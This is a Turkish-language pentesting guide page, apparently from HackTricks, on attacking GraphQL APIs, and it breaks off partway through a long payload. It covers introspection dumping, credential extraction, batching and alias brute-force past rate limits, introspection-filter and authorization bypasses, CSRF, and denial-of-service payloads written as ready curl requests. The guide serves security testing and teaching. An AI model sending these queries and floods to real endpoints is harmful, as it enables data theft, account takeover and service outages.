GraphQL
Reading time: 25 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Giriş
GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye verimli bir alternatif olarak vurgulanmaktadır. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL, gerekli tüm bilgilerin tek bir istek ile alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.
GraphQL ve Güvenlik
Yeni teknolojilerin, GraphQL dahil, ortaya çıkmasıyla birlikte yeni güvenlik açıkları da ortaya çıkmaktadır. Dikkate alınması gereken önemli bir nokta, GraphQL'in varsayılan olarak kimlik doğrulama mekanizmaları içermemesidir. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Uygun kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulaması yapılmamış kullanıcılara hassas bilgileri açığa çıkarabilir ve bu da önemli bir güvenlik riski oluşturur.
Dizin Kaba Kuvvet Saldırıları ve GraphQL
Açık GraphQL örneklerini belirlemek için, dizin kaba kuvvet saldırılarına belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta aracılığıyla erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: GraphQL: API'ler için bir sorgu dili.
Parmak İzi
graphw00f aracı, bir sunucuda hangi GraphQL motorunun kullanıldığını tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırır.
Evrensel sorgular
Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir evrensel sorgu, query{__typename}
, gönderilebilir. Eğer yanıt {"data": {"__typename": "Query"}}
içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in __typename
alanına dayanır.
query{__typename}
Temel Sayım
Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Ancak güvenlik açısından CSRF saldırılarını önlemek için yalnızca json'a izin verilmesi önerilir.
İçgörü
Şema bilgilerini keşfetmek için içgörüyü kullanmak için __schema
alanını sorgulayın. Bu alan, tüm sorguların kök türünde mevcuttur.
query={__schema{types{name,fields{name}}}}
Bu sorgu ile kullanılan tüm türlerin adını bulacaksınız:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını sorgulamak için nasıl bir yol izleyeceğinizi bilmek açısından çok faydalı olacaktır.
Hatalar
Hataların gösterilip gösterilmeyeceğini bilmek ilginçtir çünkü bu, faydalı bilgiler sağlayacaktır.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Veritabanı Şemasını İnspeksiyon ile Listeleme
note
İnspeksiyon etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından onOperation
, onFragment
ve onField
direktiflerini kaldırmayı deneyin.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Satır içi içgörü sorgusu:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Son kod satırı, graphql'den tüm meta-bilgileri (nesne adları, parametreler, türler...) dökecek bir graphql sorgusudur.
Eğer introspection etkinse, GraphQL Voyager kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz.
Sorgulama
Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, bazı değerleri çıkarmayı deneyelim.
İntrospection'da hangi nesneyi doğrudan sorgulayabileceğinizi bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "queryType"'ın "Query" olarak adlandırıldığını ve "Query" nesnesinin alanlarından birinin "flags" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz.
"flags" sorgusunun türünün "Flags" olduğunu ve bu nesnenin aşağıdaki gibi tanımlandığını unutmayın:
"Flags" nesnelerinin isim ve değer ile oluşturulduğunu görebilirsiniz. Ardından, bayrakların tüm isimlerini ve değerlerini şu sorgu ile alabilirsiniz:
query={flags{name, value}}
Not edin ki sorgulanacak nesne bir ilkel tip ise, örneğin string gibi, aşağıdaki örnekteki gibi
Bunu sadece şu şekilde sorgulayabilirsiniz:
query = { hiddenFlags }
Başka bir örnekte "Query" türü nesnesinin içinde "user" ve "users" adında 2 nesne vardı.
Eğer bu nesnelerin arama yapmak için herhangi bir argümana ihtiyacı yoksa, istediğiniz veriyi sadece isteyerek tüm bilgileri alabilirsiniz. Bu örnekte İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
Ancak, bu örnekte bunu yapmaya çalıştığınızda bu hata ile karşılaşırsınız:
Görünüşe göre bir şekilde "uid" argümanını Int türü ile arayacak.
Her neyse, zaten bunu biliyorduk, Basic Enumeration bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
O sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "user" nesnesinin Int türünde "uid" arg'sine sahip olduğunu göreceksiniz.
Bu nedenle, hafif bir uid brute force gerçekleştirerek uid=1 olduğunda bir kullanıcı adı ve şifre elde ettim:
query={user(uid:1){user,password}}
parametreler "user" ve "password" için istekte bulunabileceğimi keşfettim çünkü var olmayan bir şeyi aramaya çalıştığımda (query={user(uid:1){noExists}}
) bu hatayı alıyorum:
Ve enumeration aşamasında "dbuser" nesnesinin "user" ve "password" alanlarına sahip olduğunu keşfettim.
Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow_)
Eğer bir dize türü ile arama yapabiliyorsanız, örneğin: query={theusers(description: ""){username,password}}
ve boş bir dize ararsanız, tüm verileri dökecektir. (Bu örneğin, eğitimlerin örneği ile ilgili olmadığını unutmayın, bu örnekte "theusers" ile "description" adında bir Dize alanı kullanarak arama yapabileceğinizi varsayın).
Arama
Bu yapılandırmada, bir veritabanı kişileri ve filmleri içermektedir. Kişiler e-posta ve isimleri ile tanımlanır; filmler ise isimleri ve puanları ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca veritabanında ilişkileri gösteren filmlere sahip olabilirler.
İsim ile kişileri arama yapabilir ve e-posta adreslerini alabilirsiniz:
{
searchPerson(name: "John Doe") {
email
}
}
Kişileri isim ile arama yapabilir ve onların abone oldukları filmleri alabilirsiniz:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Not edin ki, kişinin subscribedMovies
'inin name
'ini almak için nasıl belirtildiği.
Aynı anda birden fazla nesne arayabilirsiniz. Bu durumda, 2 film araması yapılmaktadır:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Veya takma adlar kullanarak birkaç farklı nesnenin ilişkileri:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.
İnceleme bölümünde belirtilen mutasyonları bulabilirsiniz. Aşağıdaki görüntüde "MutationType" "Mutation" olarak adlandırılır ve "Mutation" nesnesi mutasyonların isimlerini (bu durumda "addPerson" gibi) içerir:
Bu yapılandırmada, bir veritabanı kişileri ve filmleri içerir. Kişiler, e-posta ve isim ile tanımlanır; filmler ise isim ve puan ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanındaki ilişkileri gösterir.
Veritabanında yeni filmler oluşturmak için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie
olarak adlandırılmıştır):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Sorguda hem değerlerin hem de veri türünün nasıl belirtildiğine dikkat edin.
Ayrıca, veritabanı, mevcut arkadaşlar ve filmler ile ilişkili kişilerin oluşturulmasına olanak tanıyan addPerson
adlı bir mutation işlemini desteklemektedir. Yeni oluşturulan kişiyi mevcut arkadaşlar ve filmlerle ilişkilendirmeden önce, arkadaşların ve filmlerin veritabanında önceden var olması gerektiğini belirtmek önemlidir.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Yönerge Aşırı Yükleme
Bu raporda açıklanan zafiyetlerden birinde belirtildiği gibi, bir yönerge aşırı yüklemesi, sunucunun DoS yapılana kadar işlemleri boşa harcaması için bir yönergenin milyonlarca kez çağrılmasını ifade eder.
1 API isteğinde toplu brute-force
Bu bilgi https://lab.wallarm.com/graphql-batching-attack/ adresinden alınmıştır.
GraphQL API üzerinden farklı kimlik bilgileri ile birçok sorgunun aynı anda gönderilmesi ile kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak GraphQL toplama özelliği sayesinde bir HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır.
Aşağıda, aynı anda 3 farklı e-posta/şifre çifti ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Açıkça, aynı şekilde tek bir istekte binlerce göndermek mümkündür:
Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler null döndürdü ve hata bölümünde ilgili bilgileri yansıttı. İkinci mutasyon doğru kimlik doğrulama verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirtecini içeriyordu.
GraphQL İçin İçgörü Olmadan
Giderek daha fazla graphql uç noktası içgörüyü devre dışı bırakıyor. Ancak, beklenmedik bir istek alındığında graphql'nin attığı hatalar, clairvoyance gibi araçların şemanın çoğunu yeniden oluşturması için yeterlidir.
Ayrıca, Burp Suite uzantısı GraphQuail Burp üzerinden geçen GraphQL API isteklerini gözlemler ve her yeni sorgu gördüğünde bir iç GraphQL şeması oluşturur. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir içgörü sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için bunu kontrol edin.
GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir.
GraphQL içgörü savunmalarını aşma
API'lerde içgörü sorguları üzerindeki kısıtlamaları aşmak için, __schema
anahtar kelimesinden sonra özel bir karakter eklemek etkili olduğu kanıtlanmıştır. Bu yöntem, içgörüyü engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmayabilecek boşluklar, yeni satırlar ve virgüller gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, __schema
sonrasında bir yeni satır içeren bir içgörü sorgusu bu tür savunmaları aşabilir:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Eğer başarısız olursanız, GET istekleri veya POST ile x-www-form-urlencoded
gibi alternatif istek yöntemlerini düşünün, çünkü kısıtlamalar yalnızca POST isteklerine uygulanabilir.
WebSocket'leri Deneyin
bu konuşmada belirtildiği gibi, graphQL'e WebSocket'ler aracılığıyla bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, potansiyel bir WAF'ı atlamanıza ve websocket iletişiminin graphQL şemasını sızdırmasına olanak tanıyabilir:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Açık GraphQL Yapılarını Keşfetme
İnceleme devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları bulmak için web sitesinin kaynak kodunu incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Sources
sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak açık hassas sorguları ortaya çıkarabilir. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
GraphQL'de CSRF
Eğer CSRF'nin ne olduğunu bilmiyorsanız, aşağıdaki sayfayı okuyun:
CSRF (Cross Site Request Forgery)
Dışarıda, CSRF token'ları olmadan yapılandırılmış birkaç GraphQL uç noktası bulabileceksiniz.
GraphQL isteklerinin genellikle application/json
içerik türü kullanarak POST istekleri ile gönderildiğini unutmayın.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Ancak, çoğu GraphQL uç noktası da form-urlencoded
POST isteklerini destekler:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Bu nedenle, önceki gibi CSRF istekleri ön uç istekleri olmadan gönderildiğinden, CSRF'yi kötüye kullanarak GraphQL'de değişiklikler yapmak mümkündür.
Ancak, Chrome'un samesite
bayrağının yeni varsayılan çerez değeri Lax
olduğunu unutmayın. Bu, çerezin yalnızca GET isteklerinde üçüncü taraf bir web sitesinden gönderileceği anlamına gelir.
Sorgu isteğini ayrıca GET isteği olarak göndermek genellikle mümkündür ve CSRF token'ı GET isteğinde doğrulanmayabilir.
Ayrıca, XS-Search saldırısını kötüye kullanarak, kullanıcının kimlik bilgilerini kullanarak GraphQL uç noktasından içerik dışa aktarmak mümkün olabilir.
Daha fazla bilgi için buradaki orijinal gönderiyi kontrol edin.
GraphQL'de Çapraz Site WebSocket Ele Geçirme
GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür.
Daha fazla bilgi için kontrol edin:
GraphQL'de Yetkilendirme
Uç noktada tanımlanan birçok GraphQL işlevi, talep edenin kimliğini kontrol edebilir, ancak yetkilendirmeyi kontrol etmeyebilir.
Sorgu girdi değişkenlerini değiştirmek, hassas hesap bilgilerini sızdırabilir.
Mutasyon, diğer hesap verilerini değiştirmeye çalışarak hesap ele geçirmeye bile yol açabilir.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL'de Yetkilendirmeyi Aşma
Query'leri zincirleme zayıf bir kimlik doğrulama sistemini aşabilir.
Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve bunun yalnızca ona bağlı olan forgotPassword sorgusunu çalıştırması gerektiğini görebilirsiniz. Bu, sonuna bir sorgu ekleyerek aşılabilir; bu durumda "register" ve sistemin yeni bir kullanıcı olarak kaydolması için bir kullanıcı değişkeni ekliyoruz.
GraphQL'de Takma Adlar Kullanarak Hız Sınırlarını Aşma
GraphQL'de, takma adlar, bir API isteği yaparken özelliklerin açıkça adlandırılmasını sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istekte aynı türden birden fazla nesne almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir.
GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: Aliases.
Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği beklenmedik bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, HTTP isteklerinin sayısını kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler.
Aşağıda sağlanan örneği düşünün; bu, takma adlı sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini göstermektedir. Bu yöntem, birkaç sorguyu tek bir HTTP isteğine derleyerek hız sınırlamasını aşabilir ve potansiyel olarak birçok indirim kodunun aynı anda doğrulanmasına olanak tanıyabilir.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading, GraphQL'de saldırganların aynı alan için birçok takma ad ile bir sorguyu aşırı yüklediği bir güvenlik açığıdır; bu, arka uç çözücüsünün o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve Hizmet Reddi (DoS) ile sonuçlanabilir. Aşağıdaki sorguda, aynı alan (expensiveField
) 1,000 kez takma adlar kullanılarak istenmektedir; bu, arka ucu 1,000 kez hesaplamaya zorlayarak CPU veya bellek tüketimini artırabilir:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın.
Dizi Tabanlı Sorgu Gruplama
Dizi Tabanlı Sorgu Gruplama, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir Hizmet Reddi (DoS) durumuna yol açabilir. Bir gruptaki sorgu sayısı üzerinde bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini aynı anda çalıştırması zorlanıyor. Daha büyük bir toplu boyut veya hesaplama açısından pahalı sorgularla istismar edilirse, sunucuyu aşırı yükleyebilir.
Yönerge Aşırı Yükleme Açığı
Yönerge Aşırı Yükleme bir GraphQL sunucusunun aşırı, tekrarlanan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlanan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir ve Hizmet Reddi (DoS) durumuna yol açabilir.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Not edin ki önceki örnekte @aa
özel bir direktiftir ve belirtilmemiş olabilir. Genellikle mevcut olan yaygın bir direktif **@include
**dir:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Ayrıca, tüm tanımlı direktifleri keşfetmek için bir introspeksiyon sorgusu gönderebilirsiniz:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Ve sonra özelleştirilmiş olanlardan bazılarını kullanın.
Alan Çoğaltma Açığı
Alan Çoğaltma, bir GraphQL sunucusunun aynı alanın aşırı şekilde tekrarlandığı sorgulara izin verdiği bir açıdır. Bu, sunucunun her örnek için alanı gereksiz yere çözmesini zorlar ve önemli kaynakları (CPU, bellek ve veritabanı çağrıları) tüketir. Bir saldırgan, yüzlerce veya binlerce tekrar eden alanla sorgular oluşturabilir, bu da yüksek yük oluşturur ve potansiyel olarak Hizmet Reddi (DoS) ile sonuçlanabilir.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 